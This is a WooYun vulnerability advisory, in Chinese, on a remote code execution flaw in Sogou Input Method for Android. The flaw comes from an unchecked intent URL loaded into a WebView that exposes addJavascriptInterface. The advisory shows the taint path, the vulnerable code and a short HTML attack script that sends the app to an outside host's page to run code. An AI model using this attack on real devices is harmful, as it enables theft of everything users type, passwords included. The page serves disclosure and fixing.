当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089956

漏洞标题:搜狗输入法远程代码执行可以恶意利用劫持用户输入

相关厂商:搜狗

漏洞作者: hqdvista

提交时间:2015-01-05 11:16

修复时间:2015-04-05 11:18

公开时间:2015-04-05 11:18

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-05: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向第三方安全合作伙伴开放
2015-03-02: 细节向核心白帽子及相关领域专家公开
2015-03-12: 细节向普通白帽子公开
2015-03-22: 细节向实习白帽子公开
2015-04-05: 细节向公众公开

简要描述:

搜狗输入法远程代码执行,用户输入的所有内容包括密码均可一览无余

详细说明:

搜狗输入法最新版(7.2.2) 对intent传入参数处理不当,直接引入了jsinterface中,导致代码执行。同时由于搜狗输入法targetSDK过低,所有<=4.4.2的安卓设备均受影响。
0x01:
JADE静态检测发现一个如下taint path:

Taint source:
$r3 = virtualinvoke $r0.<sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: android.content.Intent getIntent()>() on line 107 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void onCreate(android.os.Bundle)>
Taint path:
$r3 = virtualinvoke $r2.<java.lang.String: android.content.Intent getDataString()>() on line 112 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void processExtraData(android.content.Intent)>
Taint sink:
$r2.<com.tencent.smtt.sdk.WebView$SystemWebView: void loadUrl(java.lang.String)>($r1) on line 780 in method <com.tencent.smtt.sdk.WebView: void loadUrl(java.lang.String)>


调用关系图: onCreate -> processExtraData -> loadUrl
到这里已经可以引起钓鱼、file域跨域读取文件等问题了。然而后面还有更严重的问题
0x02: 同时静态检测也发现MiniWebViewActivity使用了addJavascriptInterface,同时此APK的targetSDK为7(Android 2.1),导致addjsinterface漏洞的影响范围扩大到了所有使用webview的Android设备,也就是<=4.4.2,根据友盟数据包括95%的国内安卓设备。
由于输入法应用的关键地位,其掌控了用户所有的输入内容,控制了输入法进程之后,所有用户的输入,包括密码、身份证等暴露无疑。

@SuppressLint(value={"SetJavaScriptEnabled"}) private void initWebView() {
LogUtil.i("Mini WebView", "-------- init webview -------");
/*omit*/
this.mWebView.addJavascriptInterface(new ContextShareInterface(), "sogoumse_interface");
this.mWebView.requestFocus();


使用intent scheme可将此问题拓展为远程代码执行

漏洞证明:

问题代码:

private void processExtraData(Intent arg3) {
if(arg3 != null && ("android.intent.action.VIEW".equals(arg3.getAction())) && arg3.getData()
!= null) {
this.recreateWebView();
this.mWebView.loadUrl(arg3.getDataString());
}
}


代码执行例子:在sdcard中写入文件

Screenshot from 2015-01-04 19:28:59.png


4.3依然受影响

Screenshot from 2015-01-04 19:23:06.png


Screenshot from 2015-01-04 19:30:34.png


远程攻击代码:
<script>
location.href = "intent:http://myqsc.sinaapp.com/fuck.html#Intent;SEL;component=com.sohu.inputmethod.sogou/sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity;end";
</script>

修复方案:

处理传入的url,更新targetSDK

版权声明:转载请注明来源 hqdvista@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-01-06 12:47

厂商回复:

感谢支持

最新状态:

暂无